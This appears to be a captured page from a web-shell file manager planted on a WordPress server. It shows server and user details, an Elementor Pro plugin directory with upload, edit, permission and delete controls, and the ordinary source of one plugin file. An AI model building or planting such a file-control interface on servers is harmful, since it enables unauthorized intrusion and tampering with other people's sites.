[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
modules
/
theme-builder
/
documents
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 archive-single-base.php
1,503 B
SET
[ EDIT ]
|
[ DEL ]
📄 archive.php
3,349 B
SET
[ EDIT ]
|
[ DEL ]
📄 error-404.php
1,586 B
SET
[ EDIT ]
|
[ DEL ]
📄 footer.php
1,345 B
SET
[ EDIT ]
|
[ DEL ]
📄 header-footer-base.php
1,518 B
SET
[ EDIT ]
|
[ DEL ]
📄 header.php
1,403 B
SET
[ EDIT ]
|
[ DEL ]
📄 search-results.php
1,815 B
SET
[ EDIT ]
|
[ DEL ]
📄 section.php
2,547 B
SET
[ EDIT ]
|
[ DEL ]
📄 single-base.php
5,313 B
SET
[ EDIT ]
|
[ DEL ]
📄 single-page.php
1,375 B
SET
[ EDIT ]
|
[ DEL ]
📄 single-post.php
1,318 B
SET
[ EDIT ]
|
[ DEL ]
📄 single.php
1,043 B
SET
[ EDIT ]
|
[ DEL ]
📄 theme-document.php
19,370 B
SET
[ EDIT ]
|
[ DEL ]
📄 theme-page-document.php
3,526 B
SET
[ EDIT ]
|
[ DEL ]
📄 theme-section-document.php
872 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: archive-single-base.php
<?php namespace ElementorPro\Modules\ThemeBuilder\Documents; use ElementorPro\Core\Utils; use ElementorPro\Modules\ThemeBuilder\Module as ThemeBuilderModule; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } abstract class Archive_Single_Base extends Theme_Page_Document { /** * Document sub type meta key. */ const REMOTE_CATEGORY_META_KEY = '_elementor_template_sub_type'; public static function get_sub_type() { return ''; } public static function get_create_url() { $create_url = parent::get_create_url(); $sub_type = static::get_sub_type(); if ( $sub_type ) { $create_url = add_query_arg( static::REMOTE_CATEGORY_META_KEY, static::get_sub_type(), $create_url ); } return $create_url; } /** * @access public */ public function save_template_type() { parent::save_template_type(); $this->save_sub_type_condition(); } private function save_sub_type_condition() { $conditions_manager = ThemeBuilderModule::instance()->get_conditions_manager(); $sub_type = Utils::_unstable_get_super_global_value( $_REQUEST, self::REMOTE_CATEGORY_META_KEY ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! empty( $sub_type ) && $conditions_manager->get_condition( $sub_type ) ) { $this->update_meta( self::REMOTE_CATEGORY_META_KEY, $sub_type ); $conditions_manager->save_conditions( $this->post->ID, [ [ 'include', $this->get_property( 'condition_type' ), $sub_type, ], ] ); } } }